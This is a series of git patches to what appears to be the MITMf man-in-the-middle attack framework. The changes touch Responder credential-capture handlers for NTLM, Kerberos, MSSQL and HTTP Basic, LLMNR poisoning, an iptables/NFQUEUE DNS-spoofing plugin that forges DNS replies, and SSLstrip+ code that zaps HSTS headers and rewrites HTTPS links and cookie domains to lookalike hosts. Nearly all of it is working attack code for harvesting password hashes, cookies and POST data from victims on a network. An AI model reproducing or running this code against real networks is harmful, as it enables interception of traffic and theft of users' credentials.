logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) + logging.warning('MSKerbv5 complete hash is :%s'%(KerbHash)) except Exception: raise @@ -987,11 +991,11 @@ class KerbUDP(BaseRequestHandler): if KerbHash: Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") if PrintData(Outfile,KerbHash): - print "[+]MSKerbv5 hash captured from : ", self.client_address[0] - print "[+]MSKerbv5 complete hash is :", KerbHash + logging.warning("MSKerbv5 hash captured from : ", self.client_address[0]) + #print "[+]MSKerbv5 complete hash is :", KerbHash Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") WriteData(Outfile,KerbHash, KerbHash) - logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) + logging.warning('MSKerbv5 complete hash is :%s'%(KerbHash)) except Exception: raise @@ -1018,13 +1022,13 @@ def ParseSQLHash(data,client): User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') outfile = os.path.join(ResponderPATH,"MSSQL-NTLMv1-Client-"+client+".txt") if PrintData(outfile,User+"::"+Domain): - print "[+]MSSQL NTLMv1 hash captured from :",client - print '[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal) + logging.warning("MSSQL NTLMv1 hash captured from :",client) + logging.warning('MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)) WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain) - logging.warning('[+]MsSQL NTLMv1 hash captured from :%s'%(client)) - logging.warning('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00',''))) - logging.warning('[+]MSSQL NTLMv1 Domain is :%s'%(Domain)) - logging.warning('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)) + logging.warning('MsSQL NTLMv1 hash captured from :%s'%(client)) + logging.warning('MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00',''))) + logging.warning('MSSQL NTLMv1 Domain is :%s'%(Domain)) + logging.warning('MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)) if NthashLen > 60: DomainLen = struct.unpack(' 24: NthashLen = 64 @@ -1507,19 +1510,19 @@ def ParseHTTPHash(data,client): outfile = os.path.join(ResponderPATH,"HTTP-NTLMv2-Client-"+client+".txt") WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:] if PrintData(outfile,User+"::"+Domain): - print "[+]HTTP NTLMv2 hash captured from :",client - print "Complete hash is : ", WriteHash + logging.warning("HTTP NTLMv2 hash captured from :",client) + logging.warning("Complete hash is : ", WriteHash) WriteData(outfile,WriteHash, User+"::"+Domain) - logging.warning('[+]HTTP NTLMv2 hash captured from :%s'%(client)) - logging.warning('[+]HTTP NTLMv2 User is : %s'%(User)) - logging.warning('[+]HTTP NTLMv2 Domain is :%s'%(Domain)) - logging.warning('[+]HTTP NTLMv2 Hostname is :%s'%(HostName)) - logging.warning('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) + logging.warning('HTTP NTLMv2 hash captured from :%s'%(client)) + logging.warning('HTTP NTLMv2 User is : %s'%(User)) + logging.warning('HTTP NTLMv2 Domain is :%s'%(Domain)) + logging.warning('HTTP NTLMv2 Hostname is :%s'%(HostName)) + logging.warning('HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) def GrabCookie(data,host): Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) if Cookie: - CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) + CookieStr = "HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) logging.warning(CookieStr) return Cookie.group(0) else: @@ -1550,7 +1553,7 @@ def Basic_Ntlm(Basic): return IIS_Auth_401_Ans() def ServeEXE(data,client, Filename): - Message = "[+]Sent %s file sent to: %s."%(Filename,client) + Message = "Sent %s file sent to: %s."%(Filename,client) logging.warning(Message) with open (Filename, "rb") as bk: data = bk.read() @@ -1581,17 +1584,17 @@ def GrabURL(data, host): POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) if GET: - HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET)) + HostStr = "HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET)) logging.warning(HostStr) - print HostStr + #print HostStr if POST: - Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) + Host3Str = "HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) logging.warning(Host3Str) - print Host3Str + #print Host3Str if len(''.join(POSTDATA)) >2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - print PostData + PostData = 'The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) + #print PostData logging.warning(PostData) #Handle HTTP packet sequence. @@ -1630,9 +1633,10 @@ def PacketSequence(data,client): NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) + Message = "WPAD (auth) file sent to: %s"%(client) if Verbose: - print Message + #print Message + logging.warning(Message) logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 @@ -1646,13 +1650,13 @@ def PacketSequence(data,client): GrabURL(data,client) outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") if PrintData(outfile,b64decode(''.join(BasicAuth))): - print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) + logging.warning("HTTP-User & Password:", b64decode(''.join(BasicAuth))) WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) + logging.warning('HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) + Message = "WPAD (auth) file sent to: %s"%(client) if Verbose: - print Message + logging.warning(Message) logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 @@ -1674,9 +1678,10 @@ class HTTP(BaseRequestHandler): data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) + Message = "WPAD (no auth) file sent to: %s"%(self.client_address[0]) if Verbose: - print Message + #print Message + logging.warning(Message) logging.warning(Message) self.request.send(buff) else: @@ -1899,48 +1904,48 @@ def ParseHTTPSHash(data,client): NthashOffset = struct.unpack(' 24: - print "[+]HTTPS NTLMv2 hash captured from :",client - logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) + #print "[+]HTTPS NTLMv2 hash captured from :",client + logging.warning('HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' Date: Thu, 12 Mar 2015 19:43:29 +0100 Subject: [PATCH 103/323] Fixed bug in DNS resolving logic --- libs/responder/Responder.py | 4 + libs/sslstrip/ClientRequest.py | 6 +- plugins/Spoof.py | 149 ++++++++++++++++++++------------- 3 files changed, 98 insertions(+), 61 deletions(-) diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 099d361..5e178ff 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -1232,6 +1232,7 @@ class LLMNR(BaseRequestHandler): if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) @@ -1253,6 +1254,7 @@ class LLMNR(BaseRequestHandler): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) @@ -1275,6 +1277,7 @@ class LLMNR(BaseRequestHandler): if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): @@ -1294,6 +1297,7 @@ class LLMNR(BaseRequestHandler): pass if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index a163070..dd22b00 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -223,13 +223,13 @@ class ClientRequest(Request): real = self.urlMonitor.real if 'wwww' in host: - logging.debug("Resolving %s for HSTS bypass" % (host)) + logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) host = host[1:] elif 'web' in host: - logging.debug("Resolving %s for HSTS bypass" % (host)) + logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) host = host[3:] elif host in real: - logging.debug("Resolving %s for HSTS bypass" % (host)) + logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) host = real[host] hostparts = host.split(':') diff --git a/plugins/Spoof.py b/plugins/Spoof.py index fac052c..465a30a 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -1,18 +1,19 @@ -from plugins.plugin import Plugin -from time import sleep import dns.resolver -from netfilterqueue import NetfilterQueue import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * import os import sys import threading -from base64 import b64decode -from urllib import unquote import binascii import random +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import * +from netfilterqueue import NetfilterQueue +from plugins.plugin import Plugin +from time import sleep +from base64 import b64decode +from urllib import unquote + class Spoof(Plugin): name = "Spoof" optname = "spoof" @@ -87,17 +88,26 @@ class Spoof(Plugin): else: sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") - - if (options.dns or options.hsts): + if options.dns: if not options.manualiptables: - self.sysconfig.iptables_dns() + self.sysconfig.iptables_dns(0) - self.dns = _DNS(self.dnscfg, self.hstscfg) - self.dns.dns = options.dns - self.dns.hsts = options.hsts + self.dns = _DNS(0) + self.dns.dnscfg = self.dnscfg + self.dns.dns = True self.dns.start() + if options.hsts: + + if not options.manualiptables: + self.sysconfig.iptables_dns(1) + + self.dns_hsts = _DNS(1) + self.dns_hsts.hstscfg = self.hstscfg + self.dns_hsts.hsts = True + self.dns_hsts.start() + def add_options(self, options): group = options.add_mutually_exclusive_group(required=False) group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') @@ -130,9 +140,12 @@ class Spoof(Plugin): self.icmp.stop() sleep(3) - if (self.options.dns or self.options.hsts): + if self.options.dns: self.dns.stop() + if self.options.hsts: + self.dns_hsts.stop() + if not self.manualiptables: self.sysconfig.iptables_flush() @@ -155,8 +168,8 @@ class SystemConfig(): def iptables_http(self): os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port) - def iptables_dns(self): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') + def iptables_dns(self, queue_number): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) class _DHCP(): @@ -361,11 +374,12 @@ class _ARP(): class _DNS(): - def __init__(self, hstscfg, dnscfg): + def __init__(self, queue_number): self.hsts = False - self.dns = True - self.dnscfg = hstscfg - self.hstscfg = dnscfg + self.dns = False + self.dnscfg = None + self.hstscfg = None + self.queue_number = queue_number self.nfqueue = NetfilterQueue() def start(self): @@ -374,7 +388,7 @@ class _DNS(): t.start() def nfqueue_bind(self): - self.nfqueue.bind(1, self.nfqueue_callback, 3) + self.nfqueue.bind(self.queue_number, self.nfqueue_callback) self.nfqueue.run() def stop(self): @@ -398,49 +412,68 @@ class _DNS(): logging.info("Error resolving " + domain) def nfqueue_callback(self, payload): - pkt = IP(payload.get_payload()) - if not pkt.haslayer(DNSQR): - payload.accept() - else: - logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) + try: + #logging.debug(payload) + pkt = IP(payload.get_payload()) - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) + if not pkt.haslayer(DNSQR): + payload.accept() + + if pkt.haslayer(DNSQR): + logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + if self.dns: + for k, v in self.dnscfg.items(): + if k in pkt[DNSQR].qname: + self.modify_dns(payload, pkt, v) + return + + payload.accept() + + elif self.hsts: + if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): + for k,v in self.hstscfg.items(): + if v == pkt[DNSQR].qname[:-1]: + ip = self.resolve_domain(k) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'wwww' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) if ip: self.modify_dns(payload, pkt, ip) + return - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) + if 'web' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) + payload.accept() + + except Exception, e: + print "Exception occurred in nfqueue callback: " + str(e) def modify_dns(self, payload, pkt, ip): - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + try: + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() + if self.hsts: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field + for i in ip: + spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) + logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(spoofed_pkt)) + payload.accept() - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() \ No newline at end of file + if self.dns: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) + logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(spoofed_pkt)) + payload.accept() + + except Exception, e: + print "Exception occurred while modifying DNS: " + str(e) \ No newline at end of file From 2200edcf5e1b9b9257dcf327aec33a695bed66d2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 13 Mar 2015 15:00:29 +0100 Subject: [PATCH 104/323] - Cleaned up the SSLstrip+ code (somewhat) - ServerConnection now properly detects and removes HSTS headers - Fixed debug output --- config/mitmf.cfg | 1 - libs/sslstrip/ClientRequest.py | 116 ++++++++++----------------- libs/sslstrip/SSLServerConnection.py | 6 +- libs/sslstrip/ServerConnection.py | 26 +++--- libs/sslstrip/URLMonitor.py | 56 ++++--------- plugins/Spoof.py | 2 +- 6 files changed, 76 insertions(+), 131 deletions(-) diff --git a/config/mitmf.cfg b/config/mitmf.cfg index dee9d21..db80143 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -227,7 +227,6 @@ accounts.google.se = cuentas.google.se #for facebook - www.facebook.com = social.facebook.com facebook.com = social.facebook.com #-----------------------------------------------------------------------------------------------------------------------------------------# diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index dd22b00..9bf2ed3 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -57,14 +57,13 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() + #for k,v in headers.items(): + # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) + if 'accept-encoding' in headers: headers['accept-encoding'] == 'identity' logging.debug("Zapped encoding") - if 'strict-transport-security' in headers: #kill new hsts requests - del headers['strict-transport-security'] - logging.info("Zapped HSTS header") - if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -80,13 +79,16 @@ class ClientRequest(Request): if len(real) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - + if 'host' in headers: - host = self.urlMonitor.URLgetRealHost("%s" % headers['host']) - logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host)) - headers['host'] = host - headers['securelink'] = '1' - self.setHeader('Host',host) + host = self.urlMonitor.URLgetRealHost(headers['host']) + if host[1] is True: + logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'],host[0])) + headers['host'] = host[0] + headers['securelink'] = '1' + self.setHeader('Host',host[0]) + else: + logging.debug("[ClientRequest][HSTS] Passed on HOST header: %s " % headers['host']) self.plugins.hook() @@ -116,18 +118,14 @@ class ClientRequest(Request): headers = self.cleanHeaders() client = self.getClientIP() path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute - try: + if self.content: self.content.seek(0,0) - postData = self.content.read() - except: - pass + postData = self.content.read() if self.hsts: - - #Original code from SSLstrip+ - #Saying that this is unreadible is an understatement - #KILL IT WITH FIRE!! real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict @@ -136,67 +134,41 @@ class ClientRequest(Request): dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict)>0: + + if len(patchDict) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) - url = 'http://' + host + path + headers['content-length'] = "%d" % len(postData) - #self.dnsCache.cacheResolution(host, address) - hostparts = host.split(':') - self.dnsCache.cacheResolution(hostparts[0], address) + #self.dnsCache.cacheResolution(host, address) + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("LEO Sending request via HTTP...") - #self.proxyViaHTTP(address, self.method, path, postData, headers) - port = 80 - if len(hostparts) > 1: - port = int(hostparts[1]) + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + logging.debug("Sending expired cookies...") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif (self.urlMonitor.isSecureFavicon(client, path)): + logging.debug("Sending spoofed favicon response...") + self.sendSpoofedFaviconResponse() - self.proxyViaHTTP(address, self.method, path, postData, headers, port) + elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): + if 'securelink' in headers: + del headers['securelink'] + + logging.debug("Sending request via SSL...(%s %s)" % (client,url)) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - - url = 'http://' + host + path - self.uri = url # set URI to absolute + logging.debug("Sending request via HTTP...") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) - #self.dnsCache.cacheResolution(host, address) - hostparts = host.split(':') - self.dnsCache.cacheResolution(hostparts[0], address) - - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url)): - logging.debug("Sending request via SSL...") - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("Sending request via HTTP...") - #self.proxyViaHTTP(address, self.method, path, postData, headers) - port = 80 - if len(hostparts) > 1: - port = int(hostparts[1]) - - self.proxyViaHTTP(address, self.method, path, postData, headers, port) + self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): logging.warning("Host resolution error: " + str(error)) @@ -223,13 +195,13 @@ class ClientRequest(Request): real = self.urlMonitor.real if 'wwww' in host: - logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) + logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) host = host[1:] elif 'web' in host: - logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) + logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) host = host[3:] elif host in real: - logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) + logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) host = real[host] hostparts = host.split(':') diff --git a/libs/sslstrip/SSLServerConnection.py b/libs/sslstrip/SSLServerConnection.py index 85940f7..5eeab59 100644 --- a/libs/sslstrip/SSLServerConnection.py +++ b/libs/sslstrip/SSLServerConnection.py @@ -52,14 +52,14 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - logging.debug("LEO Parsing cookie domain parameter: %s"%v) + logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.sustitucion if dominio in real: v=" Domain=%s"%real[dominio] - logging.debug("LEO New cookie domain parameter: %s"%v) + logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) - + if (key.lower() == 'access-control-allow-origin'): value='*' diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index 0540511..43ae336 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -109,6 +109,8 @@ class ServerConnection(HTTPClient): self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): + logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) + if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -121,21 +123,22 @@ class ServerConnection(HTTPClient): if (value.find('gzip') != -1): logging.debug("Response is compressed...") self.isCompressed = True - - #if (key.lower() == 'strict-transport-security'): - # value = 'max-age=0' + + elif (key.lower()== 'strict-transport-security'): + value="max-age=0" + logging.info("Zapped a strict-trasport-security header") elif (key.lower() == 'content-length'): self.contentLength = value + elif (key.lower() == 'set-cookie'): self.client.responseHeaders.addRawHeader(key, value) + else: self.client.setHeader(key, value) self.plugins.hook() - logging.debug("Receiving header: (%s => %s)" % (key, value)) - def handleEndHeaders(self): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) @@ -185,12 +188,9 @@ class ServerConnection(HTTPClient): def replaceSecureLinks(self, data): if self.hsts: - #Original code from SSLstrip+ - #Saying that this is unreadible is an understatement - #KILL IT WITH FIRE!! - sustitucion = {} patchDict = self.urlMonitor.patchDict + if len(patchDict)>0: dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) @@ -199,9 +199,9 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - logging.debug("Found secure reference: " + url) + logging.debug("[ServerConnection] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) + logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) @@ -210,11 +210,11 @@ class ServerConnection(HTTPClient): dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - #logging.debug("LEO DEBUG received data:\n"+data) + #logging.debug("HSTS DEBUG received data:\n"+data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #if data.find("http://w.face")!=-1: - # logging.debug("LEO DEBUG Found error in modifications") + # logging.debug("HSTS DEBUG Found error in modifications") # raw_input("Press Enter to continue") #return re.sub(ServerConnection.urlType, 'http://web.', data) return data diff --git a/libs/sslstrip/URLMonitor.py b/libs/sslstrip/URLMonitor.py index b327a85..0d1a10c 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/libs/sslstrip/URLMonitor.py @@ -30,12 +30,12 @@ class URLMonitor: javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / real - patchDict = { - 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', - 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', - 'return"https:"':'return"http:"' - } + real = {} # LEO: diccionario host / real + patchDict = { + 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', + 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', + 'return"https:"':'return"http:"' + } def __init__(self): self.strippedURLs = set() @@ -52,32 +52,6 @@ class URLMonitor: return (client,url) in self.strippedURLs - def writeClientLog(self, client, headers, message): - ''' - This isn't used for now.. the point was to log every clients - data to a seperate file - - Don't see how useful it could be though - ''' - - if not os.path.exists("./logs"): - os.makedirs("./logs") - - if (client.getClientIP() + '.log') not in os.listdir("./logs"): - - try: - log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent']) - except KeyError: - log_message = "#Log file for %s\n" % client.getClientIP() - - log_file = open("./logs/" + client.getClientIP() + ".log", 'a') - log_file.write(log_message + message + "\n") - log_file.close() - else: - log_file = open("./logs/" + client.getClientIP() + ".log", 'a') - log_file.write(message + "\n") - log_file.close() - def getSecurePort(self, client, url): if (client,url) in self.strippedURLs: return self.strippedURLPorts[(client,url)] @@ -115,7 +89,6 @@ class URLMonitor: port = 443 if self.hsts: - #LEO: Sustituir HOST if not self.sustitucion.has_key(host): lhost = host[:4] if lhost=="www.": @@ -124,14 +97,15 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) + logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) url = 'http://' + host + path - #logging.debug("LEO stripped URL: %s %s"%(client, url)) + #logging.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+self.sustitucion[host]+path + + return 'http://'+ self.sustitucion[host] + path else: url = method + host + path @@ -167,13 +141,13 @@ 